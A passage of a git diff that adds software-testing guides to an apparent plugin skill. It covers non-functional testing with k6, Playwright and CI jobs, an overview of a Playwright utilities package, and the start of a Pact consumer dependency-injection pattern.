+- ✅ PASS: All 6 tests green (auth, authz, token expiry, secret handling, SQL injection, XSS)
+- ⚠️ CONCERNS: 1-2 tests failing with mitigation plan and owner assigned
+- ❌ FAIL: Critical exposure (unauthenticated access, password leak, SQL injection succeeds)
+
+---
+
+### Example 2: Performance NFR Validation (k6 Load Testing for SLO/SLA)
+
+**Context**: Use k6 for load testing, stress testing, and SLO/SLA enforcement (NOT Playwright)
+
+**Implementation**:
+
+```javascript
+// tests/nfr/performance.k6.js
+import http from 'k6/http';
+import { check, sleep } from 'k6';
+import { Rate, Trend } from 'k6/metrics';
+
+// Custom metrics
+const errorRate = new Rate('errors');
+const apiDuration = new Trend('api_duration');
+
+// Performance thresholds (SLO/SLA)
+export const options = {
+  stages: [
+    { duration: '1m', target: 50 }, // Ramp up to 50 users
+    { duration: '3m', target: 50 }, // Stay at 50 users for 3 minutes
+    { duration: '1m', target: 100 }, // Spike to 100 users
+    { duration: '3m', target: 100 }, // Stay at 100 users
+    { duration: '1m', target: 0 }, // Ramp down
+  ],
+  thresholds: {
+    // SLO: 95% of requests must complete in <500ms
+    http_req_duration: ['p(95)<500'],
+    // SLO: Error rate must be <1%
+    errors: ['rate<0.01'],
+    // SLA: API endpoints must respond in <1s (99th percentile)
+    api_duration: ['p(99)<1000'],
+  },
+};
+
+export default function () {
+  // Test 1: Homepage load performance
+  const homepageResponse = http.get(`${__ENV.BASE_URL}/`);
+  check(homepageResponse, {
+    'homepage status is 200': (r) => r.status === 200,
+    'homepage loads in <2s': (r) => r.timings.duration < 2000,
+  });
+  errorRate.add(homepageResponse.status !== 200);
+
+  // Test 2: API endpoint performance
+  const apiResponse = http.get(`${__ENV.BASE_URL}/api/products?limit=10`, {
+    headers: { Authorization: `Bearer ${__ENV.API_TOKEN}` },
+  });
+  check(apiResponse, {
+    'API status is 200': (r) => r.status === 200,
+    'API responds in <500ms': (r) => r.timings.duration < 500,
+  });
+  apiDuration.add(apiResponse.timings.duration);
+  errorRate.add(apiResponse.status !== 200);
+
+  // Test 3: Search endpoint under load
+  const searchResponse = http.get(`${__ENV.BASE_URL}/api/search?q=laptop&limit=100`);
+  check(searchResponse, {
+    'search status is 200': (r) => r.status === 200,
+    'search responds in <1s': (r) => r.timings.duration < 1000,
+    'search returns results': (r) => JSON.parse(r.body).results.length > 0,
+  });
+  errorRate.add(searchResponse.status !== 200);
+
+  sleep(1); // Realistic user think time
+}
+
+// Threshold validation (run after test)
+export function handleSummary(data) {
+  const p95Duration = data.metrics.http_req_duration.values['p(95)'];
+  const p99ApiDuration = data.metrics.api_duration.values['p(99)'];
+  const errorRateValue = data.metrics.errors.values.rate;
+
+  console.log(`P95 request duration: ${p95Duration.toFixed(2)}ms`);
+  console.log(`P99 API duration: ${p99ApiDuration.toFixed(2)}ms`);
+  console.log(`Error rate: ${(errorRateValue * 100).toFixed(2)}%`);
+
+  return {
+    'summary.json': JSON.stringify(data),
+    stdout: `
+Performance NFR Results:
+- P95 request duration: ${p95Duration < 500 ? '✅ PASS' : '❌ FAIL'} (${p95Duration.toFixed(2)}ms / 500ms threshold)
+- P99 API duration: ${p99ApiDuration < 1000 ? '✅ PASS' : '❌ FAIL'} (${p99ApiDuration.toFixed(2)}ms / 1000ms threshold)
+- Error rate: ${errorRateValue < 0.01 ? '✅ PASS' : '❌ FAIL'} (${(errorRateValue * 100).toFixed(2)}% / 1% threshold)
+    `,
+  };
+}
+```
+
+**Run k6 tests:**
+
+```bash
+# Local smoke test (10 VUs, 30s)
+k6 run --vus 10 --duration 30s tests/nfr/performance.k6.js
+
+# Full load test (stages defined in script)
+k6 run tests/nfr/performance.k6.js
+
+# CI integration with thresholds
+k6 run --out json=performance-results.json tests/nfr/performance.k6.js
+```
+
+**Key Points**:
+
+- **k6 is the right tool** for load testing (NOT Playwright)
+- SLO/SLA thresholds enforced automatically (`p(95)<500`, `rate<0.01`)
+- Realistic load simulation (ramp up, sustained load, spike testing)
+- Comprehensive metrics (p50, p95, p99, error rate, throughput)
+- CI-friendly (JSON output, exit codes based on thresholds)
+
+**Performance NFR Criteria**:
+
+- ✅ PASS: All SLO/SLA targets met with k6 profiling evidence (p95 < 500ms, error rate < 1%)
+- ⚠️ CONCERNS: Trending toward limits (e.g., p95 = 480ms approaching 500ms) or missing baselines
+- ❌ FAIL: SLO/SLA breached (e.g., p95 > 500ms) or error rate > 1%
+
+**Performance Testing Levels (from Test Architect course):**
+
+- **Load testing**: System behavior under expected load
+- **Stress testing**: System behavior under extreme load (breaking point)
+- **Spike testing**: Sudden load increases (traffic spikes)
+- **Endurance/Soak testing**: System behavior under sustained load (memory leaks, resource exhaustion)
+- **Benchmarking**: Baseline measurements for comparison
+
+**Note**: Playwright can validate **perceived performance** (Core Web Vitals via Lighthouse), but k6 validates **system performance** (throughput, latency, resource limits under load)
+
+---
+
+### Example 3: Reliability NFR Validation (Playwright for UI Resilience)
+
+**Context**: Automated reliability tests validating graceful degradation and recovery paths
+
+**Implementation**:
+
+```typescript
+// tests/nfr/reliability.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Reliability NFR: Error Handling & Recovery', () => {
+  test('app remains functional when API returns 500 error', async ({ page, context }) => {
+    // Mock API failure
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Internal Server Error' }) });
+    });
+
+    await page.goto('/products');
+
+    // User sees error message (not blank page or crash)
+    await expect(page.getByText('Unable to load products. Please try again.')).toBeVisible();
+    await expect(page.getByRole('button', { name: 'Retry' })).toBeVisible();
+
+    // App navigation still works (graceful degradation)
+    await page.getByRole('link', { name: 'Home' }).click();
+    await expect(page).toHaveURL('/');
+  });
+
+  test('API client retries on transient failures (3 attempts)', async ({ page, context }) => {
+    let attemptCount = 0;
+
+    await context.route('**/api/checkout', (route) => {
+      attemptCount++;
+
+      // Fail first 2 attempts, succeed on 3rd
+      if (attemptCount < 3) {
+        route.fulfill({ status: 503, body: JSON.stringify({ error: 'Service Unavailable' }) });
+      } else {
+        route.fulfill({ status: 200, body: JSON.stringify({ orderId: '12345' }) });
+      }
+    });
+
+    await page.goto('/checkout');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    // Should succeed after 3 attempts
+    await expect(page.getByText('Order placed successfully')).toBeVisible();
+    expect(attemptCount).toBe(3);
+  });
+
+  test('app handles network disconnection gracefully', async ({ page, context }) => {
+    await page.goto('/dashboard');
+
+    // Simulate offline mode
+    await context.setOffline(true);
+
+    // Trigger action requiring network
+    await page.getByRole('button', { name: 'Refresh Data' }).click();
+
+    // User sees offline indicator (not crash)
+    await expect(page.getByText('You are offline. Changes will sync when reconnected.')).toBeVisible();
+
+    // Reconnect
+    await context.setOffline(false);
+    await page.getByRole('button', { name: 'Refresh Data' }).click();
+
+    // Data loads successfully
+    await expect(page.getByText('Data updated')).toBeVisible();
+  });
+
+  test('health check endpoint returns service status', async ({ request }) => {
+    const response = await request.get('/api/health');
+
+    expect(response.status()).toBe(200);
+
+    const health = await response.json();
+    expect(health).toHaveProperty('status', 'healthy');
+    expect(health).toHaveProperty('timestamp');
+    expect(health).toHaveProperty('services');
+
+    // Verify critical services are monitored
+    expect(health.services).toHaveProperty('database');
+    expect(health.services).toHaveProperty('cache');
+    expect(health.services).toHaveProperty('queue');
+
+    // All services should be UP
+    expect(health.services.database.status).toBe('UP');
+    expect(health.services.cache.status).toBe('UP');
+    expect(health.services.queue.status).toBe('UP');
+  });
+
+  test('circuit breaker opens after 5 consecutive failures', async ({ page, context }) => {
+    let failureCount = 0;
+
+    await context.route('**/api/recommendations', (route) => {
+      failureCount++;
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Service Error' }) });
+    });
+
+    await page.goto('/product/123');
+
+    // Wait for circuit breaker to open (fallback UI appears)
+    await expect(page.getByText('Recommendations temporarily unavailable')).toBeVisible({ timeout: 10000 });
+
+    // Verify circuit breaker stopped making requests after threshold (should be ≤5)
+    expect(failureCount).toBeLessThanOrEqual(5);
+  });
+
+  test('rate limiting gracefully handles 429 responses', async ({ page, context }) => {
+    let requestCount = 0;
+
+    await context.route('**/api/search', (route) => {
+      requestCount++;
+
+      if (requestCount > 10) {
+        // Rate limit exceeded
+        route.fulfill({
+          status: 429,
+          headers: { 'Retry-After': '5' },
+          body: JSON.stringify({ error: 'Rate limit exceeded' }),
+        });
+      } else {
+        route.fulfill({ status: 200, body: JSON.stringify({ results: [] }) });
+      }
+    });
+
+    await page.goto('/search');
+
+    // Make 15 search requests rapidly
+    for (let i = 0; i < 15; i++) {
+      await page.getByPlaceholder('Search').fill(`query-${i}`);
+      await page.getByRole('button', { name: 'Search' }).click();
+    }
+
+    // User sees rate limit message (not crash)
+    await expect(page.getByText('Too many requests. Please wait a moment.')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Error handling: Graceful degradation (500 error → user-friendly message + retry button)
+- Retries: 3 attempts on transient failures (503 → eventual success)
+- Offline handling: Network disconnection detected (sync when reconnected)
+- Health checks: `/api/health` monitors database, cache, queue
+- Circuit breaker: Opens after 5 failures (fallback UI, stop retries)
+- Rate limiting: 429 response handled (Retry-After header respected)
+
+**Reliability NFR Criteria**:
+
+- ✅ PASS: Error handling, retries, health checks verified (all 6 tests green)
+- ⚠️ CONCERNS: Partial coverage (e.g., missing circuit breaker) or no telemetry
+- ❌ FAIL: No recovery path (500 error crashes app) or unresolved crash scenarios
+
+---
+
+### Example 4: Maintainability NFR Validation (CI Tools, Not Playwright)
+
+**Context**: Use proper CI tools for code quality validation (coverage, duplication, vulnerabilities)
+
+**Implementation**:
+
+```yaml
+# .github/workflows/nfr-maintainability.yml
+name: NFR - Maintainability
+
+on: [push, pull_request]
+
+jobs:
+  test-coverage:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run tests with coverage
+        run: npm run test:coverage
+
+      - name: Check coverage threshold (80% minimum)
+        run: |
+          COVERAGE=$(jq '.total.lines.pct' coverage/coverage-summary.json)
+          echo "Coverage: $COVERAGE%"
+          if (( $(echo "$COVERAGE < 80" | bc -l) )); then
+            echo "❌ FAIL: Coverage $COVERAGE% below 80% threshold"
+            exit 1
+          else
+            echo "✅ PASS: Coverage $COVERAGE% meets 80% threshold"
+          fi
+
+  code-duplication:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Check code duplication (<5% allowed)
+        run: |
+          npx jscpd src/ --threshold 5 --format json --output duplication.json
+          DUPLICATION=$(jq '.statistics.total.percentage' duplication.json)
+          echo "Duplication: $DUPLICATION%"
+          if (( $(echo "$DUPLICATION >= 5" | bc -l) )); then
+            echo "❌ FAIL: Duplication $DUPLICATION% exceeds 5% threshold"
+            exit 1
+          else
+            echo "✅ PASS: Duplication $DUPLICATION% below 5% threshold"
+          fi
+
+  vulnerability-scan:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run npm audit (no critical/high vulnerabilities)
+        run: |
+          npm audit --json > audit.json || true
+          CRITICAL=$(jq '.metadata.vulnerabilities.critical' audit.json)
+          HIGH=$(jq '.metadata.vulnerabilities.high' audit.json)
+          echo "Critical: $CRITICAL, High: $HIGH"
+          if [ "$CRITICAL" -gt 0 ] || [ "$HIGH" -gt 0 ]; then
+            echo "❌ FAIL: Found $CRITICAL critical and $HIGH high vulnerabilities"
+            npm audit
+            exit 1
+          else
+            echo "✅ PASS: No critical/high vulnerabilities"
+          fi
+```
+
+**Playwright Tests for Observability (E2E Validation):**
+
+```typescript
+// tests/nfr/observability.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Maintainability NFR: Observability Validation', () => {
+  test('critical errors are reported to monitoring service', async ({ page, context }) => {
+    const sentryEvents: any[] = [];
+
+    // Mock Sentry SDK to verify error tracking
+    await context.addInitScript(() => {
+      (window as any).Sentry = {
+        captureException: (error: Error) => {
+          console.log('SENTRY_CAPTURE:', JSON.stringify({ message: error.message, stack: error.stack }));
+        },
+      };
+    });
+
+    page.on('console', (msg) => {
+      if (msg.text().includes('SENTRY_CAPTURE:')) {
+        sentryEvents.push(JSON.parse(msg.text().replace('SENTRY_CAPTURE:', '')));
+      }
+    });
+
+    // Trigger error by mocking API failure
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Database Error' }) });
+    });
+
+    await page.goto('/products');
+
+    // Wait for error UI and Sentry capture
+    await expect(page.getByText('Unable to load products')).toBeVisible();
+
+    // Verify error was captured by monitoring
+    expect(sentryEvents.length).toBeGreaterThan(0);
+    expect(sentryEvents[0]).toHaveProperty('message');
+    expect(sentryEvents[0]).toHaveProperty('stack');
+  });
+
+  test('API response times are tracked in telemetry', async ({ request }) => {
+    const response = await request.get('/api/products?limit=10');
+
+    expect(response.ok()).toBeTruthy();
+
+    // Verify Server-Timing header for APM (Application Performance Monitoring)
+    const serverTiming = response.headers()['server-timing'];
+
+    expect(serverTiming).toBeTruthy();
+    expect(serverTiming).toContain('db'); // Database query time
+    expect(serverTiming).toContain('total'); // Total processing time
+  });
+
+  test('structured logging present in application', async ({ request }) => {
+    // Make API call that generates logs
+    const response = await request.post('/api/orders', {
+      data: { productId: '123', quantity: 2 },
+    });
+
+    expect(response.ok()).toBeTruthy();
+
+    // Note: In real scenarios, validate logs in monitoring system (Datadog, CloudWatch)
+    // This test validates the logging contract exists (Server-Timing, trace IDs in headers)
+    const traceId = response.headers()['x-trace-id'];
+    expect(traceId).toBeTruthy(); // Confirms structured logging with correlation IDs
+  });
+});
+```
+
+**Key Points**:
+
+- **Coverage/duplication**: CI jobs (GitHub Actions), not Playwright tests
+- **Vulnerability scanning**: npm audit in CI, not Playwright tests
+- **Observability**: Playwright validates error tracking (Sentry) and telemetry headers
+- **Structured logging**: Validate logging contract (trace IDs, Server-Timing headers)
+- **Separation of concerns**: Build-time checks (coverage, audit) vs runtime checks (error tracking, telemetry)
+
+**Maintainability NFR Criteria**:
+
+- ✅ PASS: Clean code (80%+ coverage from CI, <5% duplication from CI), observability validated in E2E, no critical vulnerabilities from npm audit
+- ⚠️ CONCERNS: Duplication >5%, coverage 60-79%, or unclear ownership
+- ❌ FAIL: Absent tests (<60%), tangled implementations (>10% duplication), or no observability
+
+---
+
+## NFR Assessment Checklist
+
+Before release gate:
+
+- [ ] **Security** (Playwright E2E + Security Tools):
+  - [ ] Auth/authz tests green (unauthenticated redirect, RBAC enforced)
+  - [ ] Secrets never logged or exposed in errors
+  - [ ] OWASP Top 10 validated (SQL injection blocked, XSS sanitized)
+  - [ ] Security audit completed (vulnerability scan, penetration test if applicable)
+
+- [ ] **Performance** (k6 Load Testing):
+  - [ ] SLO/SLA targets met with k6 evidence (p95 <500ms, error rate <1%)
+  - [ ] Load testing completed (expected load)
+  - [ ] Stress testing completed (breaking point identified)
+  - [ ] Spike testing completed (handles traffic spikes)
+  - [ ] Endurance testing completed (no memory leaks under sustained load)
+
+- [ ] **Reliability** (Playwright E2E + API Tests):
+  - [ ] Error handling graceful (500 → user-friendly message + retry)
+  - [ ] Retries implemented (3 attempts on transient failures)
+  - [ ] Health checks monitored (/api/health endpoint)
+  - [ ] Circuit breaker tested (opens after failure threshold)
+  - [ ] Offline handling validated (network disconnection graceful)
+
+- [ ] **Maintainability** (CI Tools):
+  - [ ] Test coverage ≥80% (from CI coverage report)
+  - [ ] Code duplication <5% (from jscpd CI job)
+  - [ ] No critical/high vulnerabilities (from npm audit CI job)
+  - [ ] Structured logging validated (Playwright validates telemetry headers)
+  - [ ] Error tracking configured (Sentry/monitoring integration validated)
+
+- [ ] **Ambiguous requirements**: Default to CONCERNS (force team to clarify thresholds and evidence)
+- [ ] **NFR criteria documented**: Measurable thresholds defined (not subjective "fast enough")
+- [ ] **Automated validation**: NFR tests run in CI pipeline (not manual checklists)
+- [ ] **Tool selection**: Right tool for each NFR (k6 for performance, Playwright for security/reliability E2E, CI tools for maintainability)
+
+## NFR Gate Decision Matrix
+
+| Category            | PASS Criteria                                | CONCERNS Criteria                            | FAIL Criteria                                  |
+| ------------------- | -------------------------------------------- | -------------------------------------------- | ---------------------------------------------- |
+| **Security**        | Auth/authz, secret handling, OWASP verified  | Minor gaps with clear owners                 | Critical exposure or missing controls          |
+| **Performance**     | Metrics meet SLO/SLA with profiling evidence | Trending toward limits or missing baselines  | SLO/SLA breached or resource leaks detected    |
+| **Reliability**     | Error handling, retries, health checks OK    | Partial coverage or missing telemetry        | No recovery path or unresolved crash scenarios |
+| **Maintainability** | Clean code, tests, docs shipped together     | Duplication, low coverage, unclear ownership | Absent tests, tangled code, no observability   |
+
+**Default**: If targets or evidence are undefined → **CONCERNS** (force team to clarify before sign-off)
+
+## Integration Points
+
+- **Used in workflows**: `*nfr-assess` (automated NFR validation), `*trace` (gate decision Phase 2), `*test-design` (NFR risk assessment via Utility Tree)
+- **Related fragments**: `risk-governance.md` (NFR risk scoring), `probability-impact.md` (NFR impact assessment), `test-quality.md` (maintainability standards), `test-levels-framework.md` (system-level testing for NFRs)
+- **Tools by NFR Category**:
+  - **Security**: Playwright (E2E auth/authz), OWASP ZAP, Burp Suite, npm audit, Snyk
+  - **Performance**: k6 (load/stress/spike/endurance), Lighthouse (Core Web Vitals), Artillery
+  - **Reliability**: Playwright (E2E error handling), API tests (retries, health checks), Chaos Engineering tools
+  - **Maintainability**: GitHub Actions (coverage, duplication, audit), jscpd, Playwright (observability validation)
+
+_Source: Test Architect course (NFR testing approaches, Utility Tree, Quality Scenarios), ISO/IEC 25010 Software Quality Characteristics, OWASP Top 10, k6 documentation, SRE practices_
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/overview.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/overview.md
new file mode 100644
index 0000000..d637594
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/overview.md
@@ -0,0 +1,286 @@
+# Playwright Utils Overview
+
+## Principle
+
+Use production-ready, fixture-based utilities from `@seontechnologies/playwright-utils` for common Playwright testing patterns. Build test helpers as pure functions first, then wrap in framework-specific fixtures for composability and reuse. **Works equally well for pure API testing (no browser) and UI testing.**
+
+## Rationale
+
+Writing Playwright utilities from scratch for every project leads to:
+
+- Duplicated code across test suites
+- Inconsistent patterns and quality
+- Maintenance burden when Playwright APIs change
+- Missing advanced features (schema validation, HAR recording, auth persistence)
+
+`@seontechnologies/playwright-utils` provides:
+
+- **Production-tested**: Used in enterprise production environments
+- **Functional-first design**: Core logic as pure functions, fixtures for convenience
+- **Composable fixtures**: Use `mergeTests` to combine utilities
+- **TypeScript support**: Full type safety with generic types
+- **Comprehensive coverage**: API requests, auth, network, logging, file handling, burn-in
+- **Backend-first mentality**: Most utilities work without a browser - pure API/service testing is a first-class use case
+
+## Installation
+
+```bash
+npm install -D @seontechnologies/playwright-utils
+```
+
+**Peer Dependencies:**
+
+- `@playwright/test` >= 1.54.1 (required)
+- `ajv` >= 8.0.0 (optional - for JSON Schema validation)
+- `zod` >= 3.0.0 (optional - for Zod schema validation)
+
+## Available Utilities
+
+### Core Testing Utilities
+
+| Utility                    | Purpose                                                                       | Test Context       |
+| -------------------------- | ----------------------------------------------------------------------------- | ------------------ |
+| **api-request**            | Typed HTTP client with schema validation, retry, and operation-based overload | **API/Backend**    |
+| **recurse**                | Polling for async operations, background jobs                                 | **API/Backend**    |
+| **auth-session**           | Token persistence, multi-user, service-to-service                             | **API/Backend/UI** |
+| **log**                    | Playwright report-integrated logging                                          | **API/Backend/UI** |
+| **file-utils**             | CSV/XLSX/PDF/ZIP reading & validation                                         | **API/Backend/UI** |
+| **burn-in**                | Smart test selection with git diff                                            | **CI/CD**          |
+| **network-recorder**       | HAR record/playback for offline testing                                       | UI only            |
+| **intercept-network-call** | Network spy/stub with auto JSON parsing                                       | UI only            |
+| **network-error-monitor**  | Automatic HTTP 4xx/5xx detection                                              | UI only            |
+
+**Note**: 6 of 9 utilities work without a browser. Only 3 are UI-specific (network-recorder, intercept-network-call, network-error-monitor).
+
+## Design Patterns
+
+### Pattern 1: Functional Core, Fixture Shell
+
+**Context**: All utilities follow the same architectural pattern - pure function as core, fixture as wrapper.
+
+**Implementation**:
+
+```typescript
+// Direct import (pass Playwright context explicitly)
+import { apiRequest } from '@seontechnologies/playwright-utils';
+
+test('direct usage', async ({ request }) => {
+  const { status, body } = await apiRequest({
+    request, // Must pass request context
+    method: 'GET',
+    path: '/api/users',
+  });
+});
+
+// Fixture import (context injected automatically)
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('fixture usage', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    // No need to pass request context
+    method: 'GET',
+    path: '/api/users',
+  });
+});
+```
+
+**Key Points**:
+
+- Pure functions testable without Playwright running
+- Fixtures inject framework dependencies automatically
+- Choose direct import (more control) or fixture (convenience)
+
+### Pattern 2: Subpath Imports for Tree-Shaking
+
+**Context**: Import only what you need to keep bundle sizes small.
+
+**Implementation**:
+
+```typescript
+// Import specific utility
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request';
+
+// Import specific fixture
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+// Import everything (use sparingly)
+import { apiRequest, recurse, log } from '@seontechnologies/playwright-utils';
+```
+
+**Key Points**:
+
+- Subpath imports enable tree-shaking
+- Keep bundle sizes minimal
+- Import from specific paths for production builds
+
+### Pattern 3: Fixture Composition with mergeTests
+
+**Context**: Combine multiple playwright-utils fixtures with your own custom fixtures.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+import { test as logFixture } from '@seontechnologies/playwright-utils/log/fixtures';
+
+// Merge all fixtures into one test object
+export const test = mergeTests(apiRequestFixture, authFixture, recurseFixture, logFixture);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In your tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('all utilities available', async ({ apiRequest, authToken, recurse, log }) => {
+  await log.step('Making authenticated API request');
+
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await recurse(
+    () => apiRequest({ method: 'GET', path: `/status/${body.id}` }),
+    (res) => res.body.ready === true,
+  );
+});
+```
+
+**Key Points**:
+
+- `mergeTests` combines multiple fixtures without conflicts
+- Create one merged-fixtures.ts file per project
+- Import test object from your merged fixtures in all tests
+- All utilities available in single test signature
+
+## Integration with Existing Tests
+
+### Gradual Adoption Strategy
+
+**1. Start with logging** (zero breaking changes):
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+test('existing test', async ({ page }) => {
+  await log.step('Navigate to page'); // Just add logging
+  await page.goto('/dashboard');
+  // Rest of test unchanged
+});
+```
+
+**2. Add API utilities** (for API tests):
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('API test', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users',
+  });
+
+  expect(status).toBe(200);
+});
+```
+
+**3. Expand to network utilities** (for UI tests):
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('UI with network control', async ({ page, interceptNetworkCall }) => {
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users',
+  });
+
+  await page.goto('/dashboard');
+  const { responseJson } = await usersCall;
+
+  expect(responseJson).toHaveLength(10);
+});
+```
+
+**4. Full integration** (merged fixtures):
+
+Create merged-fixtures.ts and use across all tests.
+
+## Related Fragments
+
+- `api-request.md` - HTTP client with schema validation
+- `network-recorder.md` - HAR-based offline testing
+- `auth-session.md` - Token management
+- `intercept-network-call.md` - Network interception
+- `recurse.md` - Polling patterns
+- `log.md` - Logging utility
+- `file-utils.md` - File operations
+- `fixtures-composition.md` - Advanced mergeTests patterns
+
+## Anti-Patterns
+
+**❌ Don't mix direct and fixture imports in same test:**
+
+```typescript
+import { apiRequest } from '@seontechnologies/playwright-utils';
+import { test } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+
+test('bad', async ({ request, authToken }) => {
+  // Confusing - mixing direct (needs request) and fixture (has authToken)
+  await apiRequest({ request, method: 'GET', path: '/api/users' });
+});
+```
+
+**✅ Use consistent import style:**
+
+```typescript
+import { test } from '../support/merged-fixtures';
+
+test('good', async ({ apiRequest, authToken }) => {
+  // Clean - all from fixtures
+  await apiRequest({ method: 'GET', path: '/api/users' });
+});
+```
+
+**❌ Don't import everything when you need one utility:**
+
+```typescript
+import * as utils from '@seontechnologies/playwright-utils'; // Large bundle
+```
+
+**✅ Use subpath imports:**
+
+```typescript
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request'; // Small bundle
+```
+
+## Reference Implementation
+
+The official `@seontechnologies/playwright-utils` repository provides working examples of all patterns described in these fragments.
+
+**Repository:** <https://github.com/seontechnologies/playwright-utils>
+
+**Key resources:**
+
+- **Test examples:** `playwright/tests` - All utilities in action
+- **Framework setup:** `playwright.config.ts`, `playwright/support/merged-fixtures.ts`
+- **CI patterns:** `.github/workflows/` - GitHub Actions with sharding, parallelization
+
+**Quick start:**
+
+```bash
+git clone https://github.com/seontechnologies/playwright-utils.git
+cd playwright-utils
+nvm use
+npm install
+npm run test:pw-ui  # Explore tests with Playwright UI
+npm run test:pw
+```
+
+All patterns in TEA fragments are production-tested in this repository.
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pact-consumer-di.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pact-consumer-di.md
new file mode 100644
index 0000000..fd2b9ef
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/pact-consumer-di.md
@@ -0,0 +1,310 @@
+# Pact Consumer DI Pattern
+
+## Principle
+
+Inject the Pact mock server URL into consumer code via an optional `baseUrl` field on the API context type instead of using raw `fetch()` inside `executeTest()`. This ensures contract tests exercise the real consumer HTTP client — including retry logic, header assembly, timeout configuration, error handling, and metrics — rather than testing Pact itself.
+
+The base URL is typically a module-level constant evaluated at import time (`export const API_BASE_URL = env.API_BASE_URL`), but `mockServer.url` is only available at runtime inside `executeTest()`. Dependency injection solves this timing mismatch cleanly: add one optional field to the context type, use nullish coalescing in the HTTP client factory, and inject the mock server URL in tests.
+
+## Rationale
+
+### The Problem
+
+Raw `fetch()` in `executeTest()` only proves that Pact returns what you told it to return. The real consumer HTTP client has retry logic, header assembly, timeout configuration, error handling, and metrics collection — none of which are exercised when you hand-craft fetch calls. Contracts written with raw fetch are hand-maintained guesses about what the consumer actually sends.
+
+### Why NOT vi.mock
+
+`vi.mock` with ESM (`module: Node16`) has hoisting quirks that make it unreliable for overriding module-level constants. A getter-based mock is non-obvious and fragile — it works until the next bundler or TypeScript config change breaks it. DI is a standard pattern that requires zero mock magic and works across all module systems.
+
+### Comparison
+
+| Approach     | Production code change | Mock complexity            | Exercises real client | Contract accuracy           |
+| ------------ | ---------------------- | -------------------------- | --------------------- | --------------------------- |
+| Raw fetch    | None                   | None                       | No                    | Low — hand-crafted requests |
+| vi.mock      | None                   | High — ESM hoisting issues | Yes                   | Medium — fragile setup      |
+| DI (baseUrl) | 2 lines                | None                       | Yes                   | High — real requests        |
+
+## Pattern Examples
+
+### Example 1: Production Code Change (2 Lines Total)
+
+**Context**: Add an optional `baseUrl` field to the API context type and use nullish coalescing in the HTTP client factory. This is the entire production code change required.
+
+**Implementation**:
+
+```typescript
+// src/types.ts
+export type ApiContext = {
+  jwtToken: string;
+  customerId: number;
+  adminUserId?: number;
+  correlationId?: string;
+  baseUrl?: string; // Override for testing (Pact mock server)
+};
+```
+
+```typescript
+// src/http-client.ts
+import axios from 'axios';
+import type { AxiosInstance } from 'axios';
+import type { ApiContext } from './types.js';
+import { API_BASE_URL, REQUEST_TIMEOUT } from './constants.js';
+
+function createAxiosInstanceWithContext(context: ApiContext): AxiosInstance {
+  return axios.create({
+    baseURL: context.baseUrl ?? API_BASE_URL,
+    timeout: REQUEST_TIMEOUT,
+    headers: {
+      'Content-Type': 'application/json',
+      Accept: 'application/json',
+      Authorization: `Bearer ${context.jwtToken}`,
+      ...(context.correlationId && { 'X-Request-Id': context.correlationId }),
+    },
+  });
+}
+```
+
+**Key Points**:
+
+- `baseUrl` is optional — existing production code never sets it
+- `??` (nullish coalescing) falls back to `API_BASE_URL` when `baseUrl` is undefined
+- Zero production behavior change — only test code provides the override
+- Two lines added total: one type field, one `??` fallback
+
+### Example 2: Shared Test Context Helper
+
+**Context**: Create a reusable helper that builds an `ApiContext` with the mock server URL injected. One helper shared across all consumer test files.
+
+**Implementation**:
+
+```typescript
+// pact/support/test-context.ts
+import type { ApiContext } from '../../src/types.js';
+
+export function createTestContext(mockServerUrl: string): ApiContext {
+  return {
+    jwtToken: 'test-jwt-token',
+    customerId: 1,
+    baseUrl: `${mockServerUrl}/api/v2`,
+  };
+}
+```
+
+**Key Points**:
+
+- `baseUrl` should include the API version prefix when consumer methods use versionless relative paths (e.g., `/transactions`) or endpoint paths are defined without the version segment
+- Single helper shared across all consumer test files — no repetition
+- Returns a plain object — follows pure-function-first pattern from `fixture-architecture.md`
+- Add fields as needed (e.g., `adminUserId`, `correlationId`) for specific test scenarios
+
+### Example 3: Before/After for a Simple Test
+
